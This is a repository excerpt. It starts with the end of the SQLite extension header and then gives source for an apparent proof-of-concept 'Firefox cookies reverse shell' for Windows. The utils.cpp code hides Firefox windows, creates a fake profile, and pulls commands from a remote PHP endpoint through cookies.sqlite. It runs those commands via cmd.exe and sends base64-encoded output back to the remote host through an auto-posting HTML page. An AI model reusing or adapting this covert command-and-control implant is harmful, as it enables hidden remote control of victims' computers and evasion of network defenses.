sqlite3_complete16 sqlite3_api->complete16 364 | #define sqlite3_create_collation sqlite3_api->create_collation 365 | #define sqlite3_create_collation16 sqlite3_api->create_collation16 366 | #define sqlite3_create_function sqlite3_api->create_function 367 | #define sqlite3_create_function16 sqlite3_api->create_function16 368 | #define sqlite3_create_module sqlite3_api->create_module 369 | #define sqlite3_create_module_v2 sqlite3_api->create_module_v2 370 | #define sqlite3_data_count sqlite3_api->data_count 371 | #define sqlite3_db_handle sqlite3_api->db_handle 372 | #define sqlite3_declare_vtab sqlite3_api->declare_vtab 373 | #define sqlite3_enable_shared_cache sqlite3_api->enable_shared_cache 374 | #define sqlite3_errcode sqlite3_api->errcode 375 | #define sqlite3_errmsg sqlite3_api->errmsg 376 | #define sqlite3_errmsg16 sqlite3_api->errmsg16 377 | #define sqlite3_exec sqlite3_api->exec 378 | #ifndef SQLITE_OMIT_DEPRECATED 379 | #define sqlite3_expired sqlite3_api->expired 380 | #endif 381 | #define sqlite3_finalize sqlite3_api->finalize 382 | #define sqlite3_free sqlite3_api->free 383 | #define sqlite3_free_table sqlite3_api->free_table 384 | #define sqlite3_get_autocommit sqlite3_api->get_autocommit 385 | #define sqlite3_get_auxdata sqlite3_api->get_auxdata 386 | #define sqlite3_get_table sqlite3_api->get_table 387 | #ifndef SQLITE_OMIT_DEPRECATED 388 | #define sqlite3_global_recover sqlite3_api->global_recover 389 | #endif 390 | #define sqlite3_interrupt sqlite3_api->interruptx 391 | #define sqlite3_last_insert_rowid sqlite3_api->last_insert_rowid 392 | #define sqlite3_libversion sqlite3_api->libversion 393 | #define sqlite3_libversion_number sqlite3_api->libversion_number 394 | #define sqlite3_malloc sqlite3_api->malloc 395 | #define sqlite3_mprintf sqlite3_api->mprintf 396 | #define sqlite3_open sqlite3_api->open 397 | #define sqlite3_open16 sqlite3_api->open16 398 | #define sqlite3_prepare sqlite3_api->prepare 399 | #define sqlite3_prepare16 sqlite3_api->prepare16 400 | #define sqlite3_prepare_v2 sqlite3_api->prepare_v2 401 | #define sqlite3_prepare16_v2 sqlite3_api->prepare16_v2 402 | #define sqlite3_profile sqlite3_api->profile 403 | #define sqlite3_progress_handler sqlite3_api->progress_handler 404 | #define sqlite3_realloc sqlite3_api->realloc 405 | #define sqlite3_reset sqlite3_api->reset 406 | #define sqlite3_result_blob sqlite3_api->result_blob 407 | #define sqlite3_result_double sqlite3_api->result_double 408 | #define sqlite3_result_error sqlite3_api->result_error 409 | #define sqlite3_result_error16 sqlite3_api->result_error16 410 | #define sqlite3_result_int sqlite3_api->result_int 411 | #define sqlite3_result_int64 sqlite3_api->result_int64 412 | #define sqlite3_result_null sqlite3_api->result_null 413 | #define sqlite3_result_text sqlite3_api->result_text 414 | #define sqlite3_result_text16 sqlite3_api->result_text16 415 | #define sqlite3_result_text16be sqlite3_api->result_text16be 416 | #define sqlite3_result_text16le sqlite3_api->result_text16le 417 | #define sqlite3_result_value sqlite3_api->result_value 418 | #define sqlite3_rollback_hook sqlite3_api->rollback_hook 419 | #define sqlite3_set_authorizer sqlite3_api->set_authorizer 420 | #define sqlite3_set_auxdata sqlite3_api->set_auxdata 421 | #define sqlite3_snprintf sqlite3_api->xsnprintf 422 | #define sqlite3_step sqlite3_api->step 423 | #define sqlite3_table_column_metadata sqlite3_api->table_column_metadata 424 | #define sqlite3_thread_cleanup sqlite3_api->thread_cleanup 425 | #define sqlite3_total_changes sqlite3_api->total_changes 426 | #define sqlite3_trace sqlite3_api->trace 427 | #ifndef SQLITE_OMIT_DEPRECATED 428 | #define sqlite3_transfer_bindings sqlite3_api->transfer_bindings 429 | #endif 430 | #define sqlite3_update_hook sqlite3_api->update_hook 431 | #define sqlite3_user_data sqlite3_api->user_data 432 | #define sqlite3_value_blob sqlite3_api->value_blob 433 | #define sqlite3_value_bytes sqlite3_api->value_bytes 434 | #define sqlite3_value_bytes16 sqlite3_api->value_bytes16 435 | #define sqlite3_value_double sqlite3_api->value_double 436 | #define sqlite3_value_int sqlite3_api->value_int 437 | #define sqlite3_value_int64 sqlite3_api->value_int64 438 | #define sqlite3_value_numeric_type sqlite3_api->value_numeric_type 439 | #define sqlite3_value_text sqlite3_api->value_text 440 | #define sqlite3_value_text16 sqlite3_api->value_text16 441 | #define sqlite3_value_text16be sqlite3_api->value_text16be 442 | #define sqlite3_value_text16le sqlite3_api->value_text16le 443 | #define sqlite3_value_type sqlite3_api->value_type 444 | #define sqlite3_vmprintf sqlite3_api->vmprintf 445 | #define sqlite3_vsnprintf sqlite3_api->xvsnprintf 446 | #define sqlite3_overload_function sqlite3_api->overload_function 447 | #define sqlite3_prepare_v2 sqlite3_api->prepare_v2 448 | #define sqlite3_prepare16_v2 sqlite3_api->prepare16_v2 449 | #define sqlite3_clear_bindings sqlite3_api->clear_bindings 450 | #define sqlite3_bind_zeroblob sqlite3_api->bind_zeroblob 451 | #define sqlite3_blob_bytes sqlite3_api->blob_bytes 452 | #define sqlite3_blob_close sqlite3_api->blob_close 453 | #define sqlite3_blob_open sqlite3_api->blob_open 454 | #define sqlite3_blob_read sqlite3_api->blob_read 455 | #define sqlite3_blob_write sqlite3_api->blob_write 456 | #define sqlite3_create_collation_v2 sqlite3_api->create_collation_v2 457 | #define sqlite3_file_control sqlite3_api->file_control 458 | #define sqlite3_memory_highwater sqlite3_api->memory_highwater 459 | #define sqlite3_memory_used sqlite3_api->memory_used 460 | #define sqlite3_mutex_alloc sqlite3_api->mutex_alloc 461 | #define sqlite3_mutex_enter sqlite3_api->mutex_enter 462 | #define sqlite3_mutex_free sqlite3_api->mutex_free 463 | #define sqlite3_mutex_leave sqlite3_api->mutex_leave 464 | #define sqlite3_mutex_try sqlite3_api->mutex_try 465 | #define sqlite3_open_v2 sqlite3_api->open_v2 466 | #define sqlite3_release_memory sqlite3_api->release_memory 467 | #define sqlite3_result_error_nomem sqlite3_api->result_error_nomem 468 | #define sqlite3_result_error_toobig sqlite3_api->result_error_toobig 469 | #define sqlite3_sleep sqlite3_api->sleep 470 | #define sqlite3_soft_heap_limit sqlite3_api->soft_heap_limit 471 | #define sqlite3_vfs_find sqlite3_api->vfs_find 472 | #define sqlite3_vfs_register sqlite3_api->vfs_register 473 | #define sqlite3_vfs_unregister sqlite3_api->vfs_unregister 474 | #define sqlite3_threadsafe sqlite3_api->xthreadsafe 475 | #define sqlite3_result_zeroblob sqlite3_api->result_zeroblob 476 | #define sqlite3_result_error_code sqlite3_api->result_error_code 477 | #define sqlite3_test_control sqlite3_api->test_control 478 | #define sqlite3_randomness sqlite3_api->randomness 479 | #define sqlite3_context_db_handle sqlite3_api->context_db_handle 480 | #define sqlite3_extended_result_codes sqlite3_api->extended_result_codes 481 | #define sqlite3_limit sqlite3_api->limit 482 | #define sqlite3_next_stmt sqlite3_api->next_stmt 483 | #define sqlite3_sql sqlite3_api->sql 484 | #define sqlite3_status sqlite3_api->status 485 | #define sqlite3_backup_finish sqlite3_api->backup_finish 486 | #define sqlite3_backup_init sqlite3_api->backup_init 487 | #define sqlite3_backup_pagecount sqlite3_api->backup_pagecount 488 | #define sqlite3_backup_remaining sqlite3_api->backup_remaining 489 | #define sqlite3_backup_step sqlite3_api->backup_step 490 | #define sqlite3_compileoption_get sqlite3_api->compileoption_get 491 | #define sqlite3_compileoption_used sqlite3_api->compileoption_used 492 | #define sqlite3_create_function_v2 sqlite3_api->create_function_v2 493 | #define sqlite3_db_config sqlite3_api->db_config 494 | #define sqlite3_db_mutex sqlite3_api->db_mutex 495 | #define sqlite3_db_status sqlite3_api->db_status 496 | #define sqlite3_extended_errcode sqlite3_api->extended_errcode 497 | #define sqlite3_log sqlite3_api->log 498 | #define sqlite3_soft_heap_limit64 sqlite3_api->soft_heap_limit64 499 | #define sqlite3_sourceid sqlite3_api->sourceid 500 | #define sqlite3_stmt_status sqlite3_api->stmt_status 501 | #define sqlite3_strnicmp sqlite3_api->strnicmp 502 | #define sqlite3_unlock_notify sqlite3_api->unlock_notify 503 | #define sqlite3_wal_autocheckpoint sqlite3_api->wal_autocheckpoint 504 | #define sqlite3_wal_checkpoint sqlite3_api->wal_checkpoint 505 | #define sqlite3_wal_hook sqlite3_api->wal_hook 506 | #define sqlite3_blob_reopen sqlite3_api->blob_reopen 507 | #define sqlite3_vtab_config sqlite3_api->vtab_config 508 | #define sqlite3_vtab_on_conflict sqlite3_api->vtab_on_conflict 509 | /* Version 3.7.16 and later */ 510 | #define sqlite3_close_v2 sqlite3_api->close_v2 511 | #define sqlite3_db_filename sqlite3_api->db_filename 512 | #define sqlite3_db_readonly sqlite3_api->db_readonly 513 | #define sqlite3_db_release_memory sqlite3_api->db_release_memory 514 | #define sqlite3_errstr sqlite3_api->errstr 515 | #define sqlite3_stmt_busy sqlite3_api->stmt_busy 516 | #define sqlite3_stmt_readonly sqlite3_api->stmt_readonly 517 | #define sqlite3_stricmp sqlite3_api->stricmp 518 | #define sqlite3_uri_boolean sqlite3_api->uri_boolean 519 | #define sqlite3_uri_int64 sqlite3_api->uri_int64 520 | #define sqlite3_uri_parameter sqlite3_api->uri_parameter 521 | #define sqlite3_uri_vsnprintf sqlite3_api->xvsnprintf 522 | #define sqlite3_wal_checkpoint_v2 sqlite3_api->wal_checkpoint_v2 523 | /* Version 3.8.7 and later */ 524 | #define sqlite3_auto_extension sqlite3_api->auto_extension 525 | #define sqlite3_bind_blob64 sqlite3_api->bind_blob64 526 | #define sqlite3_bind_text64 sqlite3_api->bind_text64 527 | #define sqlite3_cancel_auto_extension sqlite3_api->cancel_auto_extension 528 | #define sqlite3_load_extension sqlite3_api->load_extension 529 | #define sqlite3_malloc64 sqlite3_api->malloc64 530 | #define sqlite3_msize sqlite3_api->msize 531 | #define sqlite3_realloc64 sqlite3_api->realloc64 532 | #define sqlite3_reset_auto_extension sqlite3_api->reset_auto_extension 533 | #define sqlite3_result_blob64 sqlite3_api->result_blob64 534 | #define sqlite3_result_text64 sqlite3_api->result_text64 535 | #define sqlite3_strglob sqlite3_api->strglob 536 | /* Version 3.8.11 and later */ 537 | #define sqlite3_value_dup sqlite3_api->value_dup 538 | #define sqlite3_value_free sqlite3_api->value_free 539 | #define sqlite3_result_zeroblob64 sqlite3_api->result_zeroblob64 540 | #define sqlite3_bind_zeroblob64 sqlite3_api->bind_zeroblob64 541 | /* Version 3.9.0 and later */ 542 | #define sqlite3_value_subtype sqlite3_api->value_subtype 543 | #define sqlite3_result_subtype sqlite3_api->result_subtype 544 | /* Version 3.10.0 and later */ 545 | #define sqlite3_status64 sqlite3_api->status64 546 | #define sqlite3_strlike sqlite3_api->strlike 547 | #define sqlite3_db_cacheflush sqlite3_api->db_cacheflush 548 | /* Version 3.12.0 and later */ 549 | #define sqlite3_system_errno sqlite3_api->system_errno 550 | /* Version 3.14.0 and later */ 551 | #define sqlite3_trace_v2 sqlite3_api->trace_v2 552 | #define sqlite3_expanded_sql sqlite3_api->expanded_sql 553 | /* Version 3.18.0 and later */ 554 | #define sqlite3_set_last_insert_rowid sqlite3_api->set_last_insert_rowid 555 | /* Version 3.20.0 and later */ 556 | #define sqlite3_prepare_v3 sqlite3_api->prepare_v3 557 | #define sqlite3_prepare16_v3 sqlite3_api->prepare16_v3 558 | #define sqlite3_bind_pointer sqlite3_api->bind_pointer 559 | #define sqlite3_result_pointer sqlite3_api->result_pointer 560 | #define sqlite3_value_pointer sqlite3_api->value_pointer 561 | #endif /* !defined(SQLITE_CORE) && !defined(SQLITE_OMIT_LOAD_EXTENSION) */ 562 | 563 | #if !defined(SQLITE_CORE) && !defined(SQLITE_OMIT_LOAD_EXTENSION) 564 | /* This case when the file really is being compiled as a loadable 565 | ** extension */ 566 | # define SQLITE_EXTENSION_INIT1 const sqlite3_api_routines *sqlite3_api=0; 567 | # define SQLITE_EXTENSION_INIT2(v) sqlite3_api=v; 568 | # define SQLITE_EXTENSION_INIT3 \ 569 | extern const sqlite3_api_routines *sqlite3_api; 570 | #else 571 | /* This case when the file is being statically linked into the 572 | ** application */ 573 | # define SQLITE_EXTENSION_INIT1 /*no-op*/ 574 | # define SQLITE_EXTENSION_INIT2(v) (void)v; /* unused parameter */ 575 | # define SQLITE_EXTENSION_INIT3 /*no-op*/ 576 | #endif 577 | 578 | #endif /* SQLITE3EXT_H */ 579 | -------------------------------------------------------------------------------- /server/Firefox_Tunnel_win32/src/utils.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | Firefox's cookies reverse shell - PoC version - THis is Server! 3 | 4 | Coded by CoolerVoid - 17/12/2017 5 | 6 | To compile: 7 | c++ -o test test.cpp utils.cpp sqlite.o 8 | 9 | 10 | */ 11 | #include "utils.h" 12 | using namespace std; 13 | 14 | string domain; 15 | 16 | int Get_CMD_result( 17 | string CmdLine, //Command Line 18 | string CmdRunDir, //set to '.' for current directory 19 | string& ListStdOut, //Return List of StdOut 20 | string& ListStdErr, //Return List of StdErr 21 | uint32_t& RetCode) //Return Exit Code 22 | { 23 | int Success; 24 | SECURITY_ATTRIBUTES security_attributes; 25 | HANDLE stdout_rd = INVALID_HANDLE_VALUE; 26 | HANDLE stdout_wr = INVALID_HANDLE_VALUE; 27 | HANDLE stderr_rd = INVALID_HANDLE_VALUE; 28 | HANDLE stderr_wr = INVALID_HANDLE_VALUE; 29 | PROCESS_INFORMATION process_info; 30 | STARTUPINFO startup_info; 31 | thread stdout_thread; 32 | thread stderr_thread; 33 | 34 | security_attributes.nLength = sizeof(SECURITY_ATTRIBUTES); 35 | security_attributes.bInheritHandle = TRUE; 36 | security_attributes.lpSecurityDescriptor = nullptr; 37 | 38 | if(!CreatePipe(&stdout_rd, &stdout_wr, &security_attributes, 0) || !SetHandleInformation(stdout_rd, HANDLE_FLAG_INHERIT, 0)) 39 | return -1; 40 | 41 | 42 | if(!CreatePipe(&stderr_rd, &stderr_wr, &security_attributes, 0) || !SetHandleInformation(stderr_rd, HANDLE_FLAG_INHERIT, 0)) 43 | { 44 | if (stdout_rd != INVALID_HANDLE_VALUE) CloseHandle(stdout_rd); 45 | if (stdout_wr != INVALID_HANDLE_VALUE) CloseHandle(stdout_wr); 46 | return -2; 47 | } 48 | 49 | ZeroMemory(&process_info, sizeof(PROCESS_INFORMATION)); 50 | ZeroMemory(&startup_info, sizeof(STARTUPINFO)); 51 | 52 | startup_info.cb = sizeof(STARTUPINFO); 53 | startup_info.hStdInput = 0; 54 | startup_info.hStdOutput = stdout_wr; 55 | startup_info.hStdError = stderr_wr; 56 | 57 | if(stdout_rd || stderr_rd) 58 | startup_info.dwFlags |= STARTF_USESTDHANDLES; 59 | 60 | // Make a copy because CreateProcess needs to modify string buffer 61 | char CmdLineStr[MAX_PATH]; 62 | ZeroMemory(CmdLineStr, MAX_PATH); 63 | strncpy(CmdLineStr, CmdLine.c_str(), MAX_PATH-1); 64 | 65 | Success = CreateProcess( 66 | nullptr, 67 | CmdLineStr, 68 | nullptr, 69 | nullptr, 70 | TRUE, 71 | 0, 72 | nullptr, 73 | CmdRunDir.c_str(), 74 | &startup_info, 75 | &process_info 76 | ); 77 | CloseHandle(stdout_wr); 78 | CloseHandle(stderr_wr); 79 | 80 | if(!Success) 81 | { 82 | CloseHandle(process_info.hProcess); 83 | CloseHandle(process_info.hThread); 84 | CloseHandle(stdout_rd); 85 | CloseHandle(stderr_rd); 86 | return -4; 87 | }else { 88 | CloseHandle(process_info.hThread); 89 | } 90 | 91 | if(stdout_rd) 92 | { 93 | stdout_thread=thread([&]() 94 | { 95 | DWORD n; 96 | const size_t bufsize = 1000; 97 | char buffer [bufsize]; 98 | ZeroMemory(buffer, bufsize); 99 | 100 | while(1) 101 | { 102 | n = 0; 103 | int Success = ReadFile( 104 | stdout_rd, 105 | buffer, 106 | (DWORD)(bufsize-1), 107 | &n, 108 | nullptr 109 | ); 110 | 111 | if(!Success || n == 0) 112 | break; 113 | string s(buffer, n); 114 | ListStdOut += s; 115 | } 116 | }); 117 | } 118 | 119 | if(stderr_rd) 120 | { 121 | stderr_thread=thread([&]() 122 | { 123 | DWORD n; 124 | const size_t bufsize = 1000; 125 | char buffer [bufsize]; 126 | ZeroMemory(buffer, bufsize); 127 | 128 | 129 | while(1) 130 | { 131 | n = 0; 132 | int Success = ReadFile( 133 | stderr_rd, 134 | buffer, 135 | (DWORD)(bufsize-1), 136 | &n, 137 | nullptr 138 | ); 139 | if(!Success || n == 0) 140 | break; 141 | string s(buffer, n); 142 | ListStdOut += s; 143 | } 144 | }); 145 | } 146 | 147 | WaitForSingleObject(process_info.hProcess, INFINITE); 148 | if(!GetExitCodeProcess(process_info.hProcess, (DWORD*) &RetCode)) 149 | RetCode = -1; 150 | 151 | CloseHandle(process_info.hProcess); 152 | 153 | if(stdout_thread.joinable()) 154 | stdout_thread.join(); 155 | 156 | if(stderr_thread.joinable()) 157 | stderr_thread.join(); 158 | 159 | CloseHandle(stdout_rd); 160 | CloseHandle(stderr_rd); 161 | 162 | return 0; 163 | } 164 | 165 | static inline bool is_base64(unsigned char z) 166 | { 167 | return (isalnum(z) || (z == '+') || (z == '/')); 168 | } 169 | 170 | string base64_encode(unsigned char const* bytes_to_encode, unsigned int in_len) { 171 | string ret; 172 | int i = 0, j = 0; 173 | unsigned char array1[3], array2[4]; 174 | 175 | while(in_len--) 176 | { 177 | array1[i++] = *(bytes_to_encode++); 178 | if(i == 3) 179 | { 180 | array2[0] = (array1[0] & 0xfc) >> 2; 181 | array2[1] = ((array1[0] & 0x03) << 4) + ((array1[1] & 0xf0) >> 4); 182 | array2[2] = ((array1[1] & 0x0f) << 2) + ((array1[2] & 0xc0) >> 6); 183 | array2[3] = array1[2] & 0x3f; 184 | 185 | for(i = 0; (i <4) ; i++) 186 | ret += base64_chars[array2[i]]; 187 | i = 0; 188 | } 189 | } 190 | 191 | if(i) 192 | { 193 | for(j = i; j < 3; j++) 194 | array1[j] = '\0'; 195 | 196 | array2[0] = (array1[0] & 0xfc) >> 2; 197 | array2[1] = ((array1[0] & 0x03) << 4) + ((array1[1] & 0xf0) >> 4); 198 | array2[2] = ((array1[1] & 0x0f) << 2) + ((array1[2] & 0xc0) >> 6); 199 | array2[3] = array1[2] & 0x3f; 200 | 201 | for(j = 0; (j < i + 1); j++) 202 | ret += base64_chars[array2[j]]; 203 | 204 | while((i++ < 3)) 205 | ret += '='; 206 | 207 | } 208 | 209 | return ret; 210 | 211 | } 212 | 213 | string base64_decode(string const& encoded_string) 214 | { 215 | int in_len = encoded_string.size(),i = 0,j = 0,in_ = 0; 216 | unsigned char array1[3], array2[4]; 217 | string ret; 218 | 219 | while(in_len-- && ( encoded_string[in_] != '=') && is_base64(encoded_string[in_])) 220 | { 221 | array2[i++] = encoded_string[in_]; in_++; 222 | if(i==4) 223 | { 224 | for (i = 0; i <4; i++) 225 | array2[i] = base64_chars.find(array2[i]); 226 | 227 | array1[0] = (array2[0] << 2) + ((array2[1] & 0x30) >> 4); 228 | array1[1] = ((array2[1] & 0xf) << 4) + ((array2[2] & 0x3c) >> 2); 229 | array1[2] = ((array2[2] & 0x3) << 6) + array2[3]; 230 | 231 | for (i = 0; (i < 3); i++) 232 | ret += array1[i]; 233 | i = 0; 234 | } 235 | } 236 | 237 | if(i) 238 | { 239 | for(j = i; j <4; j++) 240 | array2[j] = 0; 241 | 242 | for(j = 0; j <4; j++) 243 | array2[j] = base64_chars.find(array2[j]); 244 | 245 | array1[0] = (array2[0] << 2) + ((array2[1] & 0x30) >> 4); 246 | array1[1] = ((array2[1] & 0xf) << 4) + ((array2[2] & 0x3c) >> 2); 247 | array1[2] = ((array2[2] & 0x3) << 6) + array2[3]; 248 | 249 | for (j = 0; (j < i - 1); j++) 250 | ret += array1[j]; 251 | } 252 | 253 | return ret; 254 | } 255 | 256 | string readfile(const string &filepath) 257 | { 258 | string buffer; 259 | std::ifstream fin(filepath.c_str()); 260 | getline(fin, buffer, char(-1)); 261 | fin.close(); 262 | 263 | return buffer; 264 | } 265 | 266 | string exec_command(string cmd) 267 | { 268 | int rc=0; 269 | uint32_t RetCode=0; 270 | string ListStdOut; 271 | string ListStdErr; 272 | string pipe_tmp="C:\\Windows\\System32\\cmd.exe /c "+cmd; 273 | 274 | rc = Get_CMD_result( 275 | pipe_tmp, //Command Line 276 | ".", //CmdRunDir 277 | ListStdOut, //Return List of StdOut 278 | ListStdErr, //Return List of StdErr 279 | RetCode //Return Exit Code 280 | ); 281 | 282 | if(rc < 0) 283 | cout << "ERROR: Get_CMD_result() function\n"; 284 | 285 | return ListStdOut; 286 | } 287 | 288 | string get_windows_username() 289 | { 290 | char acUserName[128]; 291 | string UserName; 292 | DWORD nUserName = sizeof(acUserName); 293 | 294 | if(GetUserName(acUserName, &nUserName)) 295 | { 296 | UserName = acUserName; 297 | return UserName; 298 | } 299 | return "error"; 300 | } 301 | 302 | string get_default_firefox_profiledir(const string& name) 303 | { 304 | string pattern(name); 305 | pattern.append("\\*"); 306 | WIN32_FIND_DATA data; 307 | HANDLE hFind; 308 | 309 | if((hFind = FindFirstFile(pattern.c_str(), &data)) != INVALID_HANDLE_VALUE) 310 | { 311 | do { 312 | string test=data.cFileName; 313 | 314 | if(test.find("presto2")!=string::npos) 315 | return test; 316 | 317 | } while (FindNextFile(hFind, &data) != 0); 318 | 319 | FindClose(hFind); 320 | } 321 | return "Error"; 322 | } 323 | 324 | string get_firefox_sqlite_path() 325 | { 326 | string user=get_windows_username(); 327 | string path="C:\\Users\\"+user+"\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\"; 328 | string database_dir=get_default_firefox_profiledir(path); 329 | string database_path; 330 | database_path=path+database_dir+"\\cookies.sqlite"; 331 | return database_path; 332 | } 333 | 334 | // write cmd command in coookie 335 | void write_cmd_cookie() 336 | { 337 | string str1="http://", str2="/firefox_shell/firefox_cmd_tunnel.php"; 338 | string path=str1+domain+str2; 339 | string firefox_params=" -P presto2 -headless -url "+path; 340 | // executes in hidden mode, to show the window of browser change macro SW_HIDE to SW_SHOWNORMAL. 341 | ShellExecute( NULL,NULL,"C:\\Program Files\\Mozilla Firefox\\firefox.exe",firefox_params.c_str(),NULL,SW_HIDE); 342 | //todo add error test... 343 | } 344 | 345 | // write cmd command in coookie 346 | void create_fake_profile(string name) 347 | { 348 | string firefox_params="-createprofile "+name; 349 | // executes in hidden mode, to show the window of browser change macro SW_HIDE to SW_SHOWNORMAL. 350 | ShellExecute( NULL,NULL,"C:\\Program Files\\Mozilla Firefox\\firefox.exe",firefox_params.c_str(),NULL,SW_HIDE); 351 | //todo add error test... 352 | } 353 | 354 | void Write_File(string filename, string buf) 355 | { 356 | ofstream myfile; 357 | myfile.open (filename); 358 | myfile << buf; 359 | myfile.close(); 360 | } 361 | 362 | void construct_html(string result_cmd, string filename) 363 | { 364 | string content_html; 365 | string result_base64=base64_encode(reinterpret_cast(result_cmd.c_str()),result_cmd.length() ); 366 | content_html="
"; 367 | content_html+="
result"; 368 | content_html+="
"; 369 | content_html+=""; 370 | Write_File(filename,content_html); 371 | } 372 | 373 | void send_result_cmd(string html_file) 374 | { 375 | string firefox_params=html_file+" -P presto2 -headless"; 376 | // executes in hidden mode, to show the window of browser change macro SW_HIDE to SW_SHOWNORMAL. 377 | ShellExecute( NULL,NULL,"C:\\Program Files\\Mozilla Firefox\\firefox.exe",firefox_params.c_str(),NULL,SW_HIDE); 378 | //todo add error test... 379 | } 380 | 381 | 382 | static int callback(void *data, int argc, char **argv, char **azColName){ 383 | int i=0; 384 | 385 | while(i 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include "lib/sqlite3.h" 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include "lib/mingw_thread.h" 26 | using namespace std; 27 | 28 | 29 | extern string domain; 30 | int Get_CMD_result(string CmdLine, string CmdRunDir, string& ListStdOut, string& ListStdErr, uint32_t& RetCode); 31 | static const string base64_chars = 32 | "ABCDEFGHIJKLMNOPQRSTUVWXYZ" 33 | "abcdefghijklmnopqrstuvwxyz" 34 | "0123456789+/"; 35 | 36 | static inline bool is_base64(unsigned char c); 37 | string base64_encode(unsigned char const* bytes_to_encode, unsigned int in_len); 38 | string base64_decode(string const& encoded_string); 39 | string readfile(const string &filepath); 40 | string exec_command(string cmd); 41 | string get_windows_username(); 42 | string get_default_firefox_profiledir(const string& name); 43 | string get_firefox_sqlite_path(); 44 | void write_cmd_cookie(); // write cmd command in cookie 45 | void create_fake_profile(string name); 46 | void Write_File(string filename, string buf); 47 | void construct_html(string result_cmd, string filename); // write html to auto js to POST, to send result of CMD 48 | void send_result_cmd(string html_file); 49 | static int callback(void *data, int argc, char **argv, char **azColName); // result of select query in cookies.sqlite 50 | void start_cookie_tunnel(); 51 | 52 | --------------------------------------------------------------------------------